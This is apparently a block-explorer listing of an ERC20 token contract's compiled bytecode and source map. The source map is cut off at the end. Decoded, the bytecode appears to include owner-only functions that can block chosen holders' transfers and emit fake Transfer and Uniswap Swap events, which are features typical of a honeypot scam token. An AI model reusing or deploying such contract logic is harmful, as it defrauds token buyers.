b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b61076e8484848403610b49565b6001600160a01b038316610cf15760405162461bcd60e51b81526004018080602001828103825260258152602001806117c06025913960400191505060405180910390fd5b6001600160a01b038216610d365760405162461bcd60e51b81526004018080602001828103825260238152602001806117556023913960400191505060405180910390fd5b6001600160a01b03831660009081526001602052604090205481811015610d8e5760405162461bcd60e51b815260040180806020018281038252602681526020018061179a6026913960400191505060405180910390fd5b6001600160a01b03841660009081526002602052604090205415610de5576001600160a01b038416600090815260026020908152604080832054600190925290912054610ddb9190611380565b15610de557600080fd5b610def81836113da565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610e1e9083611380565b6001600160a01b0380851660008181526001602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b6001600160a01b038216600090815260016020526040812054610e9e9083611437565b9392505050565b610eae8161144a565b60026000606085901c5b6001600160a01b031681526020810191909152604001600020555050565b600854604080516323b872dd60e01b81526001600160a01b0387811660048301529283166024820152604481018590529051918316916323b872dd916064808201926020929091908290030181600087803b158015610f3457600080fd5b505af1158015610f48573d6000803e3d6000fd5b505050506040513d6020811015610f5e57600080fd5b50506008546040805185815290516001600160a01b038088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a360408051848152600060208201819052818301526060810184905290516001600160a01b03861691737a250d5630b4cf539739df2c5dacb4c659f2488d917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350505050565b600854606083901c60008181526001602090815260409182902054825190815291516001600160a01b03909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a361107481611450565b60016000606085901c610eb8565b6000806000600860009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156110d557600080fd5b505afa1580156110e9573d6000803e3d6000fd5b505050506040513d60608110156110ff57600080fd5b50805160209182015160085460408051630dfe168160e01b815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b15801561115257600080fd5b505afa158015611166573d6000803e3d6000fd5b505050506040513d602081101561117c57600080fd5b50516001600160a01b03161461119b57806001600160701b03166111a6565b816001600160701b03165b949350505050565b60408051600280825260608083018452928392919060208301908036833701905050905030816000815181106111e057fe5b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123457600080fd5b505afa158015611248573d6000803e3d6000fd5b505050506040513d602081101561125e57600080fd5b505181518290600190811061126f57fe5b6001600160a01b0390921660209283029190910190910152905090565b60408051600280825260608083018452600093909291906020830190803683370190505090506112bc848461145b565b9050806000815181106112cb57fe5b60200260200101516001600060014211806112e4575060005b806112ef5750426001105b6112fa576000611307565b60606113046115b9565b901c5b6001600160a01b03168152602081019190915260400160009081208054909201909155815182919061133557fe5b602002602001015191505092915050565b306000908152600160209081526040808320548383528184206007546001600160a01b031685529092529091205561076e848484846115c0565b600082820183811015610e9e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082821115611431576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600081838161144257fe5b049392505050565b600a0190565b620186a09081020490565b600754604080516307c0329d60e21b815260048101858152602482019283528451604483015284516060946001600160a01b031693631f00ca749388938893909291606401906020808601910280838360005b838110156114c65781810151838201526020016114ae565b50505050905001935050505060006040518083038186803b1580156114ea57600080fd5b505afa1580156114fe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561152757600080fd5b8101908080516040519392919084600160201b82111561154657600080fd5b90830190602082018581111561155b57600080fd5b82518660208202830111600160201b8211171561157757600080fd5b82525081516020918201928201910280838360005b838110156115a457818101518382015260200161158c565b50505050905001604052505050905092915050565b3060601b90565b600760009054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561165d578181015183820152602001611645565b505050509050019650505050505050600060405180830381600087803b15801561168657600080fd5b505af115801561169a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156116c357600080fd5b8101908080516040519392919084600160201b8211156116e257600080fd5b9083019060208201858111156116f757600080fd5b82518660208202830111600160201b8211171561171357600080fd5b82525081516020918201928201910280838360005b83811015611740578181015183820152602001611728565b50505050905001604052505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204a32a6db6224fadc10550aa14587e6390b8081da8c9036316ce858b8f044499964736f6c63430007060033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063bda0278211610071578063bda02782146104b3578063dd62ed3e146104d9578063ea923bae14610507578063ebfb412d14610575578063ff5c1d621461059b5761012c565b806370a08231146104095780638da5cb5b1461042f57806395d89b4114610453578063a457c2d71461045b578063a9059cbb146104875761012c565b8063313ce567116100f4578063313ce56714610264578063316d295f1461028257806339509351146102f25780635765a5cc1461031e57806358a102591461034c5761012c565b806304ee65c01461013157806306fdde0314610169578063095ea7b3146101e657806318160ddd1461022657806323b872dd1461022e575b600080fd5b6101576004803603602081101561014757600080fd5b50356001600160a01b03166105c1565b60408051918252519081900360200190f35b6101716105d3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ab578181015183820152602001610193565b50505050905090810190601f1680156101d85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610212600480360360408110156101fc57600080fd5b506001600160a01b038135169060200135610669565b604080519115158252519081900360200190f35b61015761067f565b6102126004803603606081101561024457600080fd5b506001600160a01b03813581169160208101359091169060400135610685565b61026c6106a7565b6040805160ff9092168252519081900360200190f35b6102f06004803603604081101561029857600080fd5b810190602081018135600160201b8111156102b257600080fd5b8201836020820111156102c457600080fd5b803590602001918460208302840111600160201b831117156102e557600080fd5b9193509150356106b7565b005b6102126004803603604081101561030857600080fd5b506001600160a01b038135169060200135610774565b6101576004803603604081101561033457600080fd5b506001600160a01b038135811691602001351661078d565b6102126004803603608081101561036257600080fd5b8135916001600160a01b036020820135169160408201359190810190608081016060820135600160201b81111561039857600080fd5b8201836020820111156103aa57600080fd5b803590602001918460208302840111600160201b831117156103cb57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506107a7945050505050565b6101576004803603602081101561041f57600080fd5b50356001600160a01b0316610842565b61043761085d565b604080516001600160a01b039092168252519081900360200190f35b61017161086c565b6102126004803603604081101561047157600080fd5b506001600160a01b0381351690602001356108cd565b6102126004803603604081101561049d57600080fd5b506001600160a01b038135169060200135610934565b610157600480360360208110156104c957600080fd5b50356001600160a01b0316610941565b610157600480360360408110156104ef57600080fd5b506001600160a01b0381358116916020013516610953565b6102f06004803603604081101561051d57600080fd5b810190602081018135600160201b81111561053757600080fd5b82018360208201111561054957600080fd5b803590602001918460208302840111600160201b8311171561056a57600080fd5b91935091503561097c565b6102f06004803603602081101561058b57600080fd5b50356001600160a01b0316610a21565b610157600480360360208110156105b157600080fd5b50356001600160a01b0316610b37565b60026020526000908152604090205481565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561065f5780601f106106345761010080835404028352916020019161065f565b820191906000526020600020905b81548152906001019060200180831161064257829003601f168201915b5050505050905090565b6000610676338484610b49565b50600192915050565b60045490565b6000610692843384610c33565b61069d848484610cac565b5060019392505050565b600854600160a01b900460ff1681565b6003546001600160a01b03163314610710576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b8281101561076e574215610766576000610746606086868581811061073457fe5b9050602002013560001c901c84610e7b565b905061076485858481811061075757fe5b9050602002013582610ea5565b505b600101610713565b50505050565b60003361069d8185856107878383610953565b01610b49565b600060208181529281526040808220909352908152205481565b6003546000906001600160a01b03163314610803576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b82518110156108365761082e83828151811061081e57fe5b6020026020010151878688610ed6565b600101610806565b50600195945050505050565b6001600160a01b031660009081526001602052604090205490565b6003546001600160a01b031681565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561065f5780601f106106345761010080835404028352916020019161065f565b600033816108db8286610953565b90508381101561091c5760405162461bcd60e51b81526004018080602001828103825260258152602001806118096025913960400191505060405180910390fd5b6109298286868403610b49565b506001949350505050565b6000610676338484610cac565b60016020526000908152604090205481565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b6003546001600160a01b031633146109d5576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b8281101561076e574215610a195760006109f9606086868581811061073457fe5b9050610a17858584818110610a0a57fe5b9050602002013582611013565b505b6001016109d8565b6003546001600160a01b03163314610a7a576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b6000620186a0610b02600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ad157600080fd5b505afa158015610ae5573d6000803e3d6000fd5b505050506040513d6020811015610afb57600080fd5b5051611082565b6201869f0281610b0e57fe5b0490506000610b1b6111ae565b90506000610b29838361128c565b905061076e83828487611346565b60096020526000908152604090205481565b6001600160a01b038316610b8e5760405162461bcd60e51b81526004018080602001828103825260248152602001806117e56024913960400191505060405180910390fd5b6001600160a01b038216610bd35760405162461bcd60e51b81526004018080602001828103825260228152602001806117786022913960400191505060405180910390fd5b6001600160a01b0380841660008181526020818152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610c3f8484610953565b9050600019811461076e5781811015610c9f576040805162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b61076e8484848403610b49565b6001600160a01b038316610cf15760405162461bcd60e51b81526004018080602001828103825260258152602001806117c06025913960400191505060405180910390fd5b6001600160a01b038216610d365760405162461bcd60e51b81526004018080602001828103825260238152602001806117556023913960400191505060405180910390fd5b6001600160a01b03831660009081526001602052604090205481811015610d8e5760405162461bcd60e51b815260040180806020018281038252602681526020018061179a6026913960400191505060405180910390fd5b6001600160a01b03841660009081526002602052604090205415610de5576001600160a01b038416600090815260026020908152604080832054600190925290912054610ddb9190611380565b15610de557600080fd5b610def81836113da565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610e1e9083611380565b6001600160a01b0380851660008181526001602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b6001600160a01b038216600090815260016020526040812054610e9e9083611437565b9392505050565b610eae8161144a565b60026000606085901c5b6001600160a01b031681526020810191909152604001600020555050565b600854604080516323b872dd60e01b81526001600160a01b0387811660048301529283166024820152604481018590529051918316916323b872dd916064808201926020929091908290030181600087803b158015610f3457600080fd5b505af1158015610f48573d6000803e3d6000fd5b505050506040513d6020811015610f5e57600080fd5b50506008546040805185815290516001600160a01b038088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a360408051848152600060208201819052818301526060810184905290516001600160a01b03861691737a250d5630b4cf539739df2c5dacb4c659f2488d917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350505050565b600854606083901c60008181526001602090815260409182902054825190815291516001600160a01b03909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a361107481611450565b60016000606085901c610eb8565b6000806000600860009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156110d557600080fd5b505afa1580156110e9573d6000803e3d6000fd5b505050506040513d60608110156110ff57600080fd5b50805160209182015160085460408051630dfe168160e01b815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b15801561115257600080fd5b505afa158015611166573d6000803e3d6000fd5b505050506040513d602081101561117c57600080fd5b50516001600160a01b03161461119b57806001600160701b03166111a6565b816001600160701b03165b949350505050565b60408051600280825260608083018452928392919060208301908036833701905050905030816000815181106111e057fe5b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123457600080fd5b505afa158015611248573d6000803e3d6000fd5b505050506040513d602081101561125e57600080fd5b505181518290600190811061126f57fe5b6001600160a01b0390921660209283029190910190910152905090565b60408051600280825260608083018452600093909291906020830190803683370190505090506112bc848461145b565b9050806000815181106112cb57fe5b60200260200101516001600060014211806112e4575060005b806112ef5750426001105b6112fa576000611307565b60606113046115b9565b901c5b6001600160a01b03168152602081019190915260400160009081208054909201909155815182919061133557fe5b602002602001015191505092915050565b306000908152600160209081526040808320548383528184206007546001600160a01b031685529092529091205561076e848484846115c0565b600082820183811015610e9e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082821115611431576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600081838161144257fe5b049392505050565b600a0190565b620186a09081020490565b600754604080516307c0329d60e21b815260048101858152602482019283528451604483015284516060946001600160a01b031693631f00ca749388938893909291606401906020808601910280838360005b838110156114c65781810151838201526020016114ae565b50505050905001935050505060006040518083038186803b1580156114ea57600080fd5b505afa1580156114fe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561152757600080fd5b8101908080516040519392919084600160201b82111561154657600080fd5b90830190602082018581111561155b57600080fd5b82518660208202830111600160201b8211171561157757600080fd5b82525081516020918201928201910280838360005b838110156115a457818101518382015260200161158c565b50505050905001604052505050905092915050565b3060601b90565b600760009054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561165d578181015183820152602001611645565b505050509050019650505050505050600060405180830381600087803b15801561168657600080fd5b505af115801561169a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156116c357600080fd5b8101908080516040519392919084600160201b8211156116e257600080fd5b9083019060208201858111156116f757600080fd5b82518660208202830111600160201b8211171561171357600080fd5b82525081516020918201928201910280838360005b83811015611740578181015183820152602001611728565b50505050905001604052505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204a32a6db6224fadc10550aa14587e6390b8081da8c9036316ce858b8f044499964736f6c63430007060033

Deployed Bytecode Sourcemap

9949:10796:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3888:36;;;;;;;;;;;;;;;;-1:-1:-1;3888:36:0;-1:-1:-1;;;;;3888:36:0;;:::i;:::-;;;;;;;;;;;;;;;;4602:91;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6507:183;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6507:183:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;4915:99;;;:::i;6698:248::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6698:248:0;;;;;;;;;;;;;;;;;:::i;10043:26::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;17234:673;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;17234:673:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;17234:673:0;;;;;;;;;;;;-1:-1:-1;17234:673:0;-1:-1:-1;17234:673:0;;:::i;:::-;;6954:267;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6954:267:0;;;;;;;;:::i;3782:56::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;3782:56:0;;;;;;;;;;:::i;10623:279::-;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10623:279:0;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;10623:279:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;10623:279:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;10623:279:0;;-1:-1:-1;10623:279:0;;-1:-1:-1;;;;;10623:279:0:i;6037:110::-;;;;;;;;;;;;;;;;-1:-1:-1;6037:110:0;-1:-1:-1;;;;;6037:110:0;;:::i;3931:20::-;;;:::i;:::-;;;;-1:-1:-1;;;;;3931:20:0;;;;;;;;;;;;;;4812:95;;;:::i;7229:466::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;7229:466:0;;;;;;;;:::i;6155:175::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6155:175:0;;;;;;;;:::i;3845:36::-;;;;;;;;;;;;;;;;-1:-1:-1;3845:36:0;-1:-1:-1;;;;;3845:36:0;;:::i;6338:161::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6338:161:0;;;;;;;;;;:::i;15800:673::-;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;15800:673:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;15800:673:0;;;;;;;;;;;;-1:-1:-1;15800:673:0;-1:-1:-1;15800:673:0;;:::i;12190:273::-;;;;;;;;;;;;;;;;-1:-1:-1;12190:273:0;-1:-1:-1;;;;;12190:273:0;;:::i;10078:43::-;;;;;;;;;;;;;;;;-1:-1:-1;10078:43:0;-1:-1:-1;;;;;10078:43:0;;:::i;3888:36::-;;;;;;;;;;;;;:::o;4602:91::-;4680:5;4673:12;;;;;;;;-1:-1:-1;;4673:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4647:13;;4673:12;;4680:5;;4673:12;;4680:5;4673:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4602:91;:::o;6507:183::-;6606:4;6623:37;6632:10;6644:7;6653:6;6623:8;:37::i;:::-;-1:-1:-1;6678:4:0;6507:183;;;;:::o;4915:99::-;4994:12;;4915:99;:::o;6698:248::-;6820:4;6837:41;6853:4;6859:10;6871:6;6837:15;:41::i;:::-;6889:27;6899:4;6905:2;6909:6;6889:9;:27::i;:::-;-1:-1:-1;6934:4:0;6698:248;;;;;:::o;10043:26::-;;;-1:-1:-1;;;10043:26:0;;;;;:::o;17234:673::-;4465:5;;-1:-1:-1;;;;;4465:5:0;4474:10;4465:19;4457:55;;;;;-1:-1:-1;;;4457:55:0;;;;;;;;;;;;-1:-1:-1;;;4457:55:0;;;;;;;;;;;;;;;17369:9:::1;17364:536;17384:15:::0;;::::1;17364:536;;;17450:15;:44:::0;17446:443:::1;;17544:10;17557:273;17782:2;17770:4;;17775:1;17770:7;;;;;;;;;;;;;17762:16;;:22;;17809:2;17557:14;:273::i;:::-;17544:286;;17849:24;17861:4;;17866:1;17861:7;;;;;;;;;;;;;17870:2;17849:11;:24::i;:::-;17446:443;;17401:3;;17364:536;;;;17234:673:::0;;;:::o;6954:267::-;7067:4;7102:10;7123:68;7102:10;7141:7;7180:10;7150:27;7102:10;7141:7;7150:9;:27::i;:::-;:40;7123:8;:68::i;3782:56::-;;;;;;;;;;;;;;;;;;;;;;:::o;10623:279::-;4465:5;;10763:4;;-1:-1:-1;;;;;4465:5:0;4474:10;4465:19;4457:55;;;;;-1:-1:-1;;;4457:55:0;;;;;;;;;;;;-1:-1:-1;;;4457:55:0;;;;;;;;;;;;;;;10785:9:::1;10780:93;10804:1;:8;10800:1;:12;10780:93;;;10834:27;10846:1;10848;10846:4;;;;;;;;;;;;;;10852:1;10855;10858:2;10834:11;:27::i;:::-;10814:3;;10780:93;;;-1:-1:-1::0;10890:4:0::1;::::0;10623:279;-1:-1:-1;;;;;10623:279:0:o;6037:110::-;-1:-1:-1;;;;;6129:10:0;6102:7;6129:10;;;:1;:10;;;;;;;6037:110::o;3931:20::-;;;-1:-1:-1;;;;;3931:20:0;;:::o;4812:95::-;4892:7;4885:14;;;;;;;;-1:-1:-1;;4885:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4859:13;;4885:14;;4892:7;;4885:14;;4892:7;4885:14;;;;;;;;;;;;;;;;;;;;;;;;7229:466;7347:4;7382:10;7347:4;7430:27;7382:10;7449:7;7430:9;:27::i;:::-;7403:54;;7510:15;7490:16;:35;;7468:122;;;;-1:-1:-1;;;7468:122:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7603:62;7612:7;7621;7649:15;7630:16;:34;7603:8;:62::i;:::-;-1:-1:-1;7683:4:0;;7229:466;-1:-1:-1;;;;7229:466:0:o;6155:175::-;6250:4;6267:33;6277:10;6289:2;6293:6;6267:9;:33::i;3845:36::-;;;;;;;;;;;;;:::o;6338:161::-;-1:-1:-1;;;;;6472:10:0;;;6445:7;6472:10;;;;;;;;;;;:19;;;;;;;;;;;;;6338:161::o;15800:673::-;4465:5;;-1:-1:-1;;;;;4465:5:0;4474:10;4465:19;4457:55;;;;;-1:-1:-1;;;4457:55:0;;;;;;;;;;;;-1:-1:-1;;;4457:55:0;;;;;;;;;;;;;;;15936:9:::1;15931:535;15951:15:::0;;::::1;15931:535;;;16017:15;:44:::0;16013:442:::1;;16111:10;16124:271;16347:2;16335:4;;16340:1;16335:7;;;;;;16124:271;16111:284;;16414:25;16427:4;;16432:1;16427:7;;;;;;;;;;;;;16436:2;16414:12;:25::i;:::-;16013:442;;15968:3;;15931:535;;12190:273:::0;4465:5;;-1:-1:-1;;;;;4465:5:0;4474:10;4465:19;4457:55;;;;;-1:-1:-1;;;4457:55:0;;;;;;;;;;;;-1:-1:-1;;;4457:55:0;;;;;;;;;;;;;;;12247:15:::1;12293:6;12266:15;12270:3;;;;;;;;;-1:-1:-1::0;;;;;12270:3:0::1;-1:-1:-1::0;;;;;12270:8:0::1;;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;12270:10:0;12266:3:::1;:15::i;:::-;12284:5;12266:23;12265:34;;;;;;12247:52;;12310:26;12339:5;:3;:5::i;:::-;12310:34;;12355:14;12372:29;12382:7;12391:9;12372;:29::i;:::-;12355:46;;12412:43;12424:7;12433:6;12441:9;12452:2;12412:11;:43::i;10078:::-:0;;;;;;;;;;;;;:::o;8362:378::-;-1:-1:-1;;;;;8500:21:0;;8492:70;;;;-1:-1:-1;;;8492:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8581:21:0;;8573:68;;;;-1:-1:-1;;;8573:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8654:10:0;;;:1;:10;;;;;;;;;;;:19;;;;;;;;;;;;;:28;;;8698:34;;;;;;;;;;;;;;;;;8362:378;;;:::o;8748:466::-;8885:24;8912:27;8922:7;8931;8912:9;:27::i;:::-;8885:54;;-1:-1:-1;;8954:16:0;:37;8950:257;;9054:6;9034:16;:26;;9008:117;;;;;-1:-1:-1;;;9008:117:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;9142:53;9151:7;9160;9188:6;9169:16;:25;9142:8;:53::i;7703:651::-;-1:-1:-1;;;;;7834:18:0;;7826:68;;;;-1:-1:-1;;;7826:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7913:16:0;;7905:64;;;;-1:-1:-1;;;7905:64:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8004:7:0;;7982:19;8004:7;;;:1;:7;;;;;;8044:21;;;;8022:109;;;;-1:-1:-1;;;8022:109:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8146:7:0;;8156:1;8146:7;;;:1;:7;;;;;;:11;8142:79;;-1:-1:-1;;;;;8186:7:0;;;;;;:1;:7;;;;;;;;;8195:1;:7;;;;;;;8182:21;;8186:7;8182:3;:21::i;:::-;:26;8174:35;;;;;;8243:24;8247:11;8260:6;8243:3;:24::i;:::-;-1:-1:-1;;;;;8233:7:0;;;;;;;:1;:7;;;;;;:34;;;;8290:5;;;;;;;8286:18;;8297:6;8286:3;:18::i;:::-;-1:-1:-1;;;;;8278:5:0;;;;;;;:1;:5;;;;;;;;;:26;;;;8320;;;;;;;8278:5;;8320:26;;;;;;;;;;;;;7703:651;;;;:::o;12669:153::-;-1:-1:-1;;;;;12802:6:0;;12767:7;12802:6;;;:1;:6;;;;;;12794:20;;12810:3;12794:7;:20::i;:::-;12787:27;12669:153;-1:-1:-1;;;12669:153:0:o;18846:566::-;19380:24;19399:3;19380:10;:24::i;:::-;18987:1;:390;19330:2;19315:17;;;19145:115;-1:-1:-1;;;;;18987:390:0;;;;;;;;;;;;-1:-1:-1;18987:390:0;:417;-1:-1:-1;;18846:566:0:o;19420:474::-;19620:5;;19575:64;;;-1:-1:-1;;;19575:64:0;;-1:-1:-1;;;;;19575:64:0;;;;;;;19620:5;;;19575:64;;;;;;;;;;;;:28;;;;;;:64;;;;;;;;;;;;;;;19620:5;19575:28;:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;19672:5:0;;19655:42;;;;;;;;-1:-1:-1;;;;;19655:42:0;;;;19672:5;;19655:42;;;;;;19575:64;19655:42;;;19713:173;;;;;;19812:1;19713:173;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19713:173:0;;;19732:42;;19713:173;;;;;;;;;19420:474;;;;:::o;13757:1111::-;14045:5;;14018:2;14003:17;;;14066:430;;;;:1;:430;;;;;;;;;;13875:632;;;;;;;-1:-1:-1;;;;;14045:5:0;;;;13875:632;;;;;;;;;;14835:25;14855:3;14835:11;:25::i;:::-;14547:1;:285;14785:2;14770:17;;;14588:201;;12471:190;12518:7;12539:10;12551;12567:5;;;;;;;;;-1:-1:-1;;;;;12567:5:0;-1:-1:-1;;;;;12567:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12567:19:0;;;;;;;12605:5;;12567:19;12605:14;;-1:-1:-1;;;12605:14:0;;;;12567:19;;-1:-1:-1;12567:19:0;;-1:-1:-1;;;;;;12605:19:0;;;;:5;;;:12;;:14;;;;;12567:19;12605:14;;;;;;:5;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12605:14:0;-1:-1:-1;;;;;12605:19:0;;12604:49;;12650:2;-1:-1:-1;;;;;12642:11:0;12604:49;;;12636:2;-1:-1:-1;;;;;12628:11:0;12604:49;12597:56;12471:190;-1:-1:-1;;;;12471:190:0:o;10910:202::-;11010:16;;;11024:1;11010:16;;;10948;11010;;;;;10948;;;11010;11024:1;11010:16;;;;;;;;;;-1:-1:-1;11010:16:0;11006:20;;11052:4;11037:1;11039;11037:4;;;;;;;;-1:-1:-1;;;;;11037:20:0;;;:4;;;;;;;;;;:20;;;;11075:3;;:10;;;-1:-1:-1;;;11075:10:0;;;;:3;;;;;:8;;:10;;;;;11037:4;;11075:10;;;;;:3;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;11075:10:0;11068:4;;:1;;11070;;11068:4;;;;;;-1:-1:-1;;;;;11068:17:0;;;:4;;;;;;;;;;;:17;11103:1;-1:-1:-1;10910:202:0;:::o;20150:592::-;20356:16;;;20370:1;20356:16;;;20315:22;20356:16;;;;;20249:7;;20315:22;;20356:16;20370:1;20356:16;;;;;;;;;;-1:-1:-1;20356:16:0;20348:24;;20415:16;20420:7;20429:1;20415:4;:16::i;:::-;20407:24;;20681:5;20687:1;20681:8;;;;;;;;;;;;;;20442:1;:235;20484:1;20458:15;:28;:63;;;-1:-1:-1;20515:1:0;20458:63;:112;;;-1:-1:-1;20555:15:0;20550:1;20542:28;20458:112;:208;;20663:1;20458:208;;;20623:2;20614:4;:2;:4::i;:::-;20606:19;;2045